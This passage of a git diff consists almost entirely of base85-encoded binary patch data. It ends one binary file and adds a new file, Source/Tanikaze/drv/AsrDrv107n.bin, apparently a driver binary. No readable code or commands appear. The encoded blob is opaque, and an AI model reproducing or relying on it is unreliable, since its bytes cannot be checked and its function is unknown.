z0oPFQdwq`O*sQLIW)!JGR%O+bo&inJer=xBL?*ysERCr0u-~NShB(u2BGPUnJ|WWJo?>?S%I0%*p8BTdZmHGBd*4zJI2f%Qg5LZi|6zYPdOUz!oh{A)2`MZ)_S>oN}5z)P;<0X7AM3NA~ z6VAv~x8qrt!2wlG)rD4FaGrWSJkeS7mrrH-tS69P1eKz51k8a{ipU{$M4Qj_A{(mU z=CqTRI8!RXb9k-R2W4<-%TrN#4ot8#!}5$w58x}qYF3YLbT$IV#yNMcdHbltpCol} zq_ks1Mfdv<{+AZQ+-=Bh*3X+r#d45(j7&zHfi9b^+;ku+9CMxJn{X_4i7k6xQMf+ zk->rHZ+1ON3>7Uwq&I0fPT?{}#&HD3*`shn)2UL%QVCfn+K#UTov-5#I+y533Xqq% zsHC_Y6^>L&My$KBzgLT+K@j%+`>&7Xkv%+HUoqq^59_qXpD2dustyiGz zobfZNW~r{=ne-<1z4*~pn5@g1*%u)wR9Eu8TMz?F(-0|{SQ)(P1Jjl2(|sVQeOxcV zX}KI+ahftv?jvx-mLzPD#_>$4>n5qFa@VgN5H>@+Rak+hIjSl48&PDmc5&`NYM(VJ z?rU9v&N7qhMaWry8xew%hIt~PN9nY63#i%nCwOAcc5I#%g*sd@1U0cvm%7A)al9Ic zNqf~?uKq5JW9I$PJzSH3bo4SF1<6O(5rkL@njb7LhwF=5FI4GaD11gDgBrQm#$ryk zVr>_NWqGIOEre2D9q&vXEshFwoUExfZ}Fdt6|k~ep^Ig3v|k#u)KPdp9qo)&T4D-6 z`_u*|A`h-9RA%8K__}DC(3=x}$RhIZghwXj`eH}#5TqxJ59FY?7ipR@*#s)7FBHm+S70zJH+dWDf){CqFXbk~HSCLiUc(jx7 zEc-7dA}PQCwAOnm=qHSrJfw=6GJ{2ExT7VM!xiwuj&EQ^gjD#XQ^6}z3U)z_EPj$> D$A0M! literal 0 HcmV?d00001 diff --git a/Source/Tanikaze/drv/AsrDrv107n.bin b/Source/Tanikaze/drv/AsrDrv107n.bin new file mode 100644 index 0000000000000000000000000000000000000000..d6891596278921944900c7c74991e8b38583272b GIT binary patch literal 28420 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 